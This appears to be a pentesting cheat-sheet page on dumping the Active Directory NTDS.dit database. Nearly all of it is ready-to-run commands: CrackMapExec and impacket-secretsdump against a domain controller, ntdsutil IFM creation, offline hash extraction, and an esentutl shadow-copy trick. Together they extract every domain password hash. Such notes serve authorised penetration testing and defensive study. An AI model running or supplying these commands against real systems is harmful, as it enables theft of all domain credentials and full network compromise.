NTDS
Exploitation
# CrackMapExec
crackmapexec smb -u $user -p $password -ntds
# Impacket
impacket-secretsdump -just-dc-ntlm oasis/administrator@$dcip# Dump the NTDS
# It should be noted that this works on older machines when Secretsdump and vssadmin fail
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
# Dump the password hashes offline
impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local
# LOLBIN
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\Windows\Tasks\ntds.ditReferences
Last updated